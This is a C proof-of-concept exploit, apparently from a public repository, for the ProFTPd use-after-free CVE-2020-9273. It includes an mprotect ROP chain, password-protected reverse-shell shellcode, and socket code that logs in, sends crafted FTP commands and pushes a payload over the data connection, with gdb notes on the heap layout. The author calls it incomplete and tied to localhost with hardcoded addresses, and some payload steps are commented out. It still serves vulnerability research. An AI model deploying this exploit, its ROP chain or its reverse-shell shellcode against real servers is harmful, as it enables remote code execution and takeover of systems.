README.md
Rendering markdown...
/*
* ProFTPd Remote Code Execution exploit - CVE-2020-9273
*
* exploit created by @DUKPT_
*
* credits to Antonio Morales who discovered the vulnerability
*
* WARNING: this exploit is 90% completed, I removed the brute-force loop
* because I'm interested in finding a memory leak. However, since this is
* a post-auth exploitation and also have to have the hability to upload
* files, I decided to quit working on this. Seems not so interesting.
*
* Most of the code that actually are commented, since you need to interact
* with gdb.
*
* Feel free to contact me if you want to share something.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <err.h>
#include <errno.h>
#define exit_on_error(P) if(P) err(errno, NULL);
/* do not change these above!
* this exploit was setup to work only on localhost (sorry this is just a PoC) */
#define FTP_PORT 2121
#define FTP_HOST "127.0.0.1"
/* size of buffer to store responses of FTP control connection */
#define RCVD_BUFF_SIZE 512
/* size of buffer to send data on FTP data connection */
#define SEND_BUFF_SIZE 0x2000 // 0x400 == 1024*8 - if required change to 0x4000 */
/* this is a fictitious pool_rec structure, it does not represents the original
* one in size. I'm declaring it to facilitate offset calculations visually */
struct pool_rec {
unsigned char *first;
unsigned char *last;
unsigned char *cleanups;
unsigned char *sub_pools;
unsigned char *sub_next;
unsigned char *sub_prev;
unsigned char *parent;
char *free_first_avail;
char *tag;
};
/* libc-2.31 x86_64 mprotect ROP manually created on Ubuntu 20.04.1 LTS */
unsigned char *mprotect_rop = "\x00\x10\x00\x00\x00\x00\x00\x00" /* $rsi = mem size */
"\xa9\x71\xdb\xf7\xff\x7f\x00\x00" /* 0x7ffff7db71a9 <strip+217>: pop rsi; ret */
"\x00\x10\x00\x00\x00\x00\x00\x00" /* $rsi = mem size */
"\xa9\x71\xdb\xf7\xff\x7f\x00\x00" /* 0x7ffff7db71a9 <strip+217>: pop rsi; ret */
"\x00\x10\x00\x00\x00\x00\x00\x00" /* $rsi = mem size */
"\x72\x9b\xda\xf7\xff\x7f\x00\x00" /* 0x7ffff7da9b72 <init_cacheinfo+242>: pop rdi; ret */
"DDDDDDDD" // MPROTECT_RDI /* $rdi = initial mem page address to mprotect */
"\x65\x58\xee\xf7\xff\x7f\x00\x00" /* 0x7ffff7ee5865 <do_dlopen+69>: pop rax; pop rdx; pop rbx; ret */
"\x0a\x00\x00\x00\x00\x00\x00\x00" /* $rax = 0xa (mprotect syscall number) */
"\x07\x00\x00\x00\x00\x00\x00\x00" /* $rdx = 0x7 (RWX permission) */
"\xca\xfe\xca\xfe\xca\xfe\xca\xfe" /* ignored */
"\x29\x92\xde\xf7\xff\x7f\x00\x00" /* 0x7ffff7de9229 <__funlockfile+73>: syscall; ret */
"EEEEEEEE"; // MPROTECT_RETURN ; /* ret address */
/* zerosum0x0's reverse shell with password "dkpt"
* (first type the password to get reverse shell)
* PS.: for some reason that I stil have to investigate you must
* type "sh" after the password, if not the connection is closed
*/
unsigned char reverse_shell[] =
"\x31\xf6" /* xor %esi,%esi */
"\xf7\xe6" /* mul %esi */
"\xff\xc6" /* inc %esi */
"\x6a\x02" /* pushq $0x2 */
"\x5f" /* pop %rdi */
"\x04\x29" /* add $0x29,%al */
"\x0f\x05" /* syscall */
"\x50" /* push %rax */
"\x5f" /* pop %rdi */
"\x52" /* push %rdx */
"\x52" /* push %rdx */
"\xc7\x44\x24\x04\x7d\xff\xfe" /* movl $0xfefeff7d,0x4(%rsp) */
"\xfe" /* . */
"\x81\x44\x24\x04\x02\x01\x01" /* addl $0x2010102,0x4(%rsp) */
"\x02" /* . */
"\x66\xc7\x44\x24\x02\x11\x5c" /* movw $0x5c11,0x2(%rsp) */
"\xc6\x04\x24\x02" /* movb $0x2,(%rsp) */
"\x54" /* push %rsp */
"\x5e" /* pop %rsi */
"\x6a\x10" /* pushq $0x10 */
"\x5a" /* pop %rdx */
"\x6a\x2a" /* pushq $0x2a */
"\x58" /* pop %rax */
"\x0f\x05" /* syscall */
"\x31\xc0" /* xor %eax,%eax */
"\x0f\x05" /* syscall */
"\x81\x3c\x24""aaaa" /* cmpl $0x41414141,(%rsp) */
"\x75\x1f" /* jne 62 <drop> */
"\x6a\x03" /* pushq $0x3 */
"\x5e" /* pop %rsi */
"\xff\xce" /* dec %esi */
"\xb0\x21" /* mov $0x21,%al */
"\x0f\x05" /* syscall */
"\x75\xf8" /* jne 46 <dupe_loop> */
"\x56" /* push %rsi */
"\x5a" /* pop %rdx */
"\x56" /* push %rsi */
"\x48\xbf\x2f\x2f\x62\x69\x6e" /* movabs $0x68732f6e69622f2f,%rdi */
"\x2f\x73\x68" /* . */
"\x57" /* push %rdi */
"\x54" /* push %rsp */
"\x5f" /* pop %rdi */
"\xb0\x3b" /* mov $0x3b,%al */
"\x0f\x05" /* syscall */;
int main(int argc, char* argv[])
{
int rc=0,wstatus=0,s=0,sc=0,socketopt=1;
pid_t pid=-1;
//size_t offset=0xc20; /* this is from: gef➤ print 0x5555556d4000 - 0x5555556d33e0 == 0xc20 */
char buf[RCVD_BUFF_SIZE] = {0};
struct sockaddr_in sa = {0};
struct pool_rec resp_pool = {0};
unsigned char shellcode[SEND_BUFF_SIZE];
/* When the vulnerability is triggered "p" points to "resp_pool". In fact,
* ProFTPd detects that the FTP control connection was closed and it'll
* begin the end session process. So what we control is (pool *)resp_pool
* members, but not it address. This is a use-after-free vulnerability and
* we control it's content during FTP data transference, so our payload is
* in fact our shellcode.
* Thus, we'll have to predict where (pool *)resp_pool (which is a typedef
* to struct pool_rec) points to and also the address of
* &session.curr_cmd_rec->notes->chains (ProFTPd will fill this buffer
* during end session process, so we need to align FTP data transfer and
* FTP control sending a crafted predicted memory address as a command.
*
* Due to PIE and ASLR it's almost impossible to guess these addresses, so
* the only way I think it's possible is brute-forcing. But since the main
* daemon process fork()ed a child, it inherits parent's memory layout, so
* it makes sense to brute force some memory addresses.
*
* set $resp_pool = (unsigned char *)resp_pool
* set $cmd_notes_chains = (unsigned char *)&session.curr_cmd_rec->notes->chains
* set $gid_tab = (unsigned char *)gid_tab
* set $offset = 0x98
* set $distance = $cmd_notes_chains - $gid_tab - $offset
* set p->last=&p->cleanups
* set p->sub_pools=(unsigned char *)&session.curr_cmd_rec->notes->chains - 0x28
* set p->sub_next=(unsigned char *)&session.curr_cmd_rec->notes->chains - $distance
*/
printf("** ProFTPd <= 1.3.7rc2 CVE-2020-9273 exploit\n"
"** default payload provides remote shell with \"aaaa\" password\n"
"** exploit developed by dukpt\n\n");
/* In alloc_pool() when the vulnerability is triggered, "p" is a (pool *)
* pointer that points to (pool *)resp_pool (remember that "pool" is a
* typedef struct pool_rec).
* (pool *)resp_pool variable holds the error message printed
* to the user on FTP control connection (usually on TCP 21 port).
* Since this is the variable we control, we have to manipulate the execution
* flow according to the reads and writes to this structure.
* The way I exploited this will be described bellow..
*
* (pool *)p which points to (pool *)resp_pool should be the following:
* set $r=(unsigned char *)resp_pool
* set $a=(unsigned char *)&session.curr_cmd_rec->notes->chains
* set $b=(unsigned char *)&gid_tab->pool
* set $c=$a - $b
* p p->last=&p->cleanups
* p p->sub_pools=((char *)&session.curr_cmd_rec->notes->chains) - 0x28
* p p->sub_next=((char *)&session.curr_cmd_rec->notes->chains) - $c - 0x90
* print *p
* $1 = {
* first = 0x4141414141414141,
* last = 0x5555556d3370,
* cleanups = 0x4141414141414141,
* sub_pools = 0x5555556ae2f8,
* sub_next = 0x5555556a8a20,
* sub_prev = 0x4141414141414141,
* parent = 0x4141414141414141,
* free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
* tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
* }
*
* set $RESP_POOL=(unsigned char *)resp_pool
* set $cmd_notes_chains=(unsigned char *)&session.curr_cmd_rec->notes->chains
* set $gid_tab=(unsigned char *)gid_tab
*
* set $distance=($cmd_notes_chains - $gid_tab) + 0x90
*
* set p->last=&p->cleanups
* set p->sub_pools=$cmd_notes_chains - 0x28
* set p->sub_next=$cmd_notes_chains - $distance
*
* we need to make the adjustment of -0x28 due to make_sub_pool(), where
* p->sub_prev is deslocated in 0x28, so we need to correct it
*
*/
/*
* HAVE TO SET THE 2 VARIABLES BELOW WITH HARDCODE ADDRESSES!
*/
unsigned char *RESP_POOL = (unsigned char *) 0x5555556d2350; // value of resp_pool
unsigned char *SESS_CURR_CMD_NOTES = (unsigned char *) 0x5555556ad088; // value of session.curr_cmd_rec->notes
unsigned char *MPROTECT_RETURN = RESP_POOL + 0x30; /* RESP_POOL + 0x30 == &resp_pool->parent == this is our ret to shellcode address */
unsigned char *MPROTECT_RDI = (unsigned char *)((unsigned long)RESP_POOL & 0xffffffffff000); /* RESP_POOL & 0xffffffffff000 (initial address to mprotect) */
/*
* Since I wasn't able to find any memory leak, I had to make an exploit with hardcoded
* addresses, wich I know it's stupid and won't work most of the time when you run this.
* Anyways, RESP_POOL variable holds the address stored in resp_pool BSS variable.
* SESS_CURR_CMD_NOTES variable holds the address stored in session.curr_cmd_rec->notes
* Explanation for the offsets: SESS_CURR_CMD_NOTES + 0x18 - 0x80
* 1) + 0x18 to forward to address &session.curr_cmd_rec->notes->chain
* 2) - 0x80 to backward to part of our payload
*/
resp_pool.first = (unsigned char *)RESP_POOL;
resp_pool.last = (unsigned char *)0x4141414141414145; // RESP_POOL + 0x10;
resp_pool.cleanups = (unsigned char *)0x9090909090909090; // RESP_POOL + 0x20;
resp_pool.sub_pools = (unsigned char *)SESS_CURR_CMD_NOTES + 0x18 - 0x28; // (unsigned char *)&session.curr_cmd_rec->notes->chains - 0x28
resp_pool.sub_next = (unsigned char *)SESS_CURR_CMD_NOTES - 0x80; // (unsigned char *)&session.curr_cmd_rec->notes->pool - 0x80
resp_pool.sub_prev = (unsigned char *)0x4343434343434343; // 0x7f4fe620f1a9; // 0x7f404881d1a9; // 0x7f75211301a9; /* <strip+217>: pop rsi; ret */
resp_pool.parent = (unsigned char *)0x4444444444444444;
resp_pool.free_first_avail = (unsigned char *)0x4141414141414141;
resp_pool.tag = (unsigned char *)0x4144444444444444;
//resp_pool.tag = RESP_POOL + 0x40;
/*
* print *p->cleanups
* $7 = {
* data = 0x5555556d3398,
* plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>,
* child_cleanup_cb = 0x5555556d3398,
* next = 0x7ffff7ece1a1 <authnone_marshal+17>
* }
*
* c->data holds the value of our stack (rsp)
*/
/*
* p->sub_pools
* this member points to the next element of the pool.
* since we control it, we have to maintain the control of it
* until it reaches our payload copy, then we can send the
* ROP mprotect shellcode + the real shellcode and RET to them.
*/
printf("memory layout info:\n");
printf("resp_pool = %p\n", RESP_POOL);
printf("session.curr_cmd_rec->notes = %p\n", SESS_CURR_CMD_NOTES);
printf("&session.curr_cmd_rec->notes->chains = %p\n", (SESS_CURR_CMD_NOTES + 0x18));
printf("resp_pool = {\n");
printf(" first = %p\n", resp_pool.first);
printf(" last = %p <resp_pool+0x10>\n", resp_pool.last);
printf(" cleanups = %p <resp_pool+0x20>\n", resp_pool.cleanups);
printf(" sub_pools = %p <&session.curr_cmd_rec->notes->chains - 0x28>\n", resp_pool.sub_pools);
printf(" sub_next = %p\n", resp_pool.sub_next);
printf(" sub_prev = %p <strip+217>\n", resp_pool.sub_prev);
printf(" parent = %p\n", resp_pool.parent);
printf(" free_first_avail = %p\n", resp_pool.free_first_avail);
printf(" tag = %p\n", resp_pool.tag);
printf("}\n");
pid = fork();
switch(pid)
{
case -1:
err(errno, "error in fork");
exit(-1);
break;
case 0: /* child, FTP data connection */
setsid(); // makes sense?
/* address structure for FTP data listenning connection */
sa.sin_family = AF_INET;
sa.sin_port = htons(3762);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
/* bind and listen socket and accept remote FTP data connection*/
s = socket(AF_INET, SOCK_STREAM, 0);
exit_on_error(s < 0);
rc = setsockopt(s, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt));
exit_on_error(rc < 0);
rc = bind(s, (struct sockaddr *)&sa, sizeof(sa));
exit_on_error(rc < 0);
rc = listen(s, 1);
exit_on_error(rc < 0);
sc = accept(s, 0, 0);
exit_on_error(sc < 0);
/* send data to remote FTP server */
dprintf(2, "[+] received data connection, sending payload and triggering the use-after-free: ");
/*
* print p
* $1 = (struct pool_rec *) 0x5555556d3360
* print *p
* $2 = {
* first = 0x4141414141414141,
* last = 0x4141414141414141,
* cleanups = 0x4141414141414141,
* sub_pools = 0x4141414141414141,
* sub_next = 0x4141414141414141,
* sub_prev = 0x4141414141414141,
* parent = 0x4141414141414141,
* free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
* tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
* }
* set p->last = &p->cleanups
* set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28
* set p->sub_next = ((char *)&session.curr_cmd_rec->notes->chains) - 0x5900
* print *p
* $3 = {
* first = 0x4141414141414141,
* last = 0x5555556d3370,
* cleanups = 0x4141414141414141,
* sub_pools = 0x5555556ae2f8,
* sub_next = 0x5555556a8a20,
* sub_prev = 0x4141414141414141,
* parent = 0x4141414141414141,
* free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
* tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
* }
* c
* print c
* $4 = (cleanup_t *) 0x5555556d3390
* print *c
* $5 = {
* data = 0x4141414141414141,
* plain_cleanup_cb = 0x4141414141414141,
* child_cleanup_cb = 0x4141414141414141,
* next = 0x4141414141414141
* }
* set c->data=(unsigned char *)resp_pool + 0xca0
* set c->plain_cleanup_cb=0x00007ffff7d85000+0x00000000001491a1
* print *c
* $6 = {
* data = 0x5555556d4000,
* plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>,
* child_cleanup_cb = 0x4141414141414141,
* next = 0x4141414141414141
* }
*/
memset(&shellcode[0x00], 0x90, SEND_BUFF_SIZE); /* let's just fill initial buffer with "NOP"s just in case */
//memcpy(&shellcode[0x00], &resp_pool.first, 8); /* p->first = 0x4141414141414141 */
memcpy(&shellcode[0x08], &resp_pool.last, 8); /* p->last = &p->cleanups */
memcpy(&shellcode[0x10], &resp_pool.cleanups, 8); /* p->cleanups = 0x5555556d4000 */
memcpy(&shellcode[0x18], &resp_pool.sub_pools, 8);
memcpy(&shellcode[0x20], &resp_pool.sub_next, 8); /* p->sub_next = ((char *)&session.curr_cmd_rec->notes->chains) - 0x5900 (sometimes 0x5970) */
//memcpy(&shellcode[0x28], &resp_pool.sub_prev, 8); /* <strip+217>: pop rsi; ret */
//memcpy(&shellcode[0x30], &resp_pool.parent, 8); /* p->parent = (this is our future stack that'll mprotect using ROP technique) */
//memcpy(&shellcode[0x38], &resp_pool.free_first_avail, 8); /* p->free_first_avail = */
//memcpy(&shellcode[0x40], &resp_pool.tag, 8); /* p->tag = 0x5555556d4000 */
//memcpy(&shellcode[0xa0], "\x00\x40\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 */
//memcpy(&shellcode[0xf8], "\xa1\xe1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17> */
/*
* print *p->cleanups
* $7 = {
* data = 0x5555556d3398,
* plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17>,
* child_cleanup_cb = 0x5555556d3398,
* next = 0x7ffff7ece1a1 <authnone_marshal+17>
* }
*
* c->data holds the value of our stack (rsp)
*/
//memcpy(&shellcode[0x48], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17> */
//memcpy(&shellcode[0x50], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 - na verdade pode ser o valor de &p->free_first_avail p*/
//memcpy(&shellcode[0x58], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17> */
//memcpy(&shellcode[0x60], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 */
//memcpy(&shellcode[0x68], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17> */
//memcpy(&shellcode[0x70], "\xe0\x33\x6d\x55\x55\x55\x00\x00", 8); /* c->data = 0x5555556d4000 */
//memcpy(&shellcode[0x78], "\xa1\xc1\xec\xf7\xff\x7f\x00\x00", 8); /* c->plain_cleanup_cb = 0x7ffff7ece1a1 <authnone_marshal+17> */
/*
* mprotect ROP.
* we start mprotecting just the memory region
* that we're going to execute.
* We copy several times, just in case..
*/
//for(size_t i=0x80; i<0x490; i+=0x68) {
//memcpy(&shellcode[0x80], mprotect_rop, 0x68);
//}
/*
* probably need some trampoline here..
*/
/*
* revershell shellcode with password.
* now we memcopy the actual shellcode
* since we've already mprotected it
*/
//for(size_t i=0x400 + 0xc20; i<0xa00; i+=0x6a) {
//memcpy(&shellcode[0x100+0x68], reverse_shell, 0x6a);
//memcpy(&shellcode[0x200+0x68], reverse_shell, 0x6a);
//memcpy(&shellcode[0x300+0x68], reverse_shell, 0x6a);
//}
do {
sleep(1);
dprintf(2, "+");
rc = send(sc, shellcode, SEND_BUFF_SIZE, 0);
} while (sc && rc > 0);
dprintf(2, " bye from child fork\n");
//sleep(30);
if (sc) close(sc); //, SHUT_RDWR);
if (s) close(s); //, SHUT_RDWR);
exit(0);
break;
default: /* parent */
/* address structure for command connection */
sa.sin_family = AF_INET;
sa.sin_port = htons(FTP_PORT);
sa.sin_addr.s_addr = inet_addr(FTP_HOST);
/* FTP commands socket */
s = socket(AF_INET, SOCK_STREAM, 0);
exit_on_error(s < 0);
printf("[+] child process PID: %d\n", pid);
/* connect to remote FTP and reads banner */
rc = connect(s, (const struct sockaddr *)&sa, sizeof(sa));
exit_on_error(rc < 0);
rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
exit_on_error(rc < 0);
buf[RCVD_BUFF_SIZE]='\0';
/* send USER and PASS login commands */
printf("[+] user login... ");
rc = send(s, "USER poc\r\n", 10, 0);
rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
rc = send(s, "PASS VaiCabelo1\r\n", 17, 0);
rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
buf[RCVD_BUFF_SIZE]='\0';
if (rc > 0 && strcmp("230 ", buf) && strcmp("logged in", buf)) {
printf("OK!\n");
} else {
err(errno, "wrong user and/or password, can't continue.");
}
/* send PORT and STOR commands to start transference */
printf("[+] sending PORT command\n");
//sleep(1);
rc = send(s, "TYPE I\r\n", 8, 0);
rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
rc = send(s, "PORT 127,0,0,1,14,178\r\n", 23, 0);
rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
/* start listenning socket to wait for FTP remote data connection */
printf("[+] sending STOR command\n");
rc = send(s, "STOR /tmp/bbb\r\n", 15, 0);
rc = recv(s, buf, RCVD_BUFF_SIZE-1, 0);
exit_on_error(rc <= 0);
if (!strcmp("200 ", buf))
err(errno, "error STOR");
/* send data payload syncronized with control connection */
rc = send(s, (void *)"1111 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 400, 0);
rc = send(s, (void *)"2222 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\n", 100, 0);
rc = send(s, (void *)"3333 CCC\x77\x77\x02\x01\x77\x77\0", 15, 0); // this is the address where the structure will be pointed to (which should be resp_pool value)
//rc = send(s, (void *)"HELP\r\n", 6, 0); // apenas segura a ausencia de \r\n do comando anterior
//rc = send(s, (void *)"STOR /tmp/bbb\r\n", 15, 0);
//rc = send(s, (void *)"REST 5\r\n", 8, 0);
//rc = send(s, (void *)"REST 55\0", 8, 0);
//rc = send(s, (void *)"RANG 800 12000000\r\n", 19, 0);
// detalhe: é necessário fazer através de comando e parâmetro
// pois o código transforma em maiúsculo se mandar só AAAAAAAA [..]
// então preciso mandar AAAA xxxxxx pois o parâmetro não é transformado
// em maiúsculo
/*
* should be &p->cleanups + 0x40
* (remember that p points to resp_pool)
* and it's the address to prepare our stack before ROP'ing
*/
memset(buf, 0, RCVD_BUFF_SIZE);
snprintf(&buf[0], 9, "2222 CCC");
snprintf(&buf[8], 8, "%s", (char *)&RESP_POOL);
//printf("\n%d:%s\n\n", (int)strlen(buf),buf);
//rc = send(s, (void *)buf, 15, 0); // this is the real address
if (s) {
//printf("[+] closing FTP control connection\n");
close(s);
//shutdown(s, SHUT_RDWR);
} else {
printf("\n[-] humm strange, socket is already closed\n");
}
do
{
rc = waitpid(pid, &wstatus, WUNTRACED | WCONTINUED);
if (rc == -1) {
exit_on_error(rc <= 0);
}
if (WIFEXITED(wstatus)) {
printf("\n[+] parent caught: child exited with status=%d\n", WEXITSTATUS(wstatus));
} else if (WIFSIGNALED(wstatus)) {
printf("\n[+] parent caught: child got signal %d, propably connection was closed (which is normal due to the bug triggering)\n", WTERMSIG(wstatus));
} else if (WIFSTOPPED(wstatus)) {
printf("\n[+] parent caught: child stopped by signal %d - did you do this?\n", WSTOPSIG(wstatus));
}
} while (!WIFEXITED(wstatus) && !WIFSIGNALED(wstatus));
//sleep(30);
break;
} //end switch
//printf("-- next try:\n");
//sleep(1);
//} //end for
return 0;
}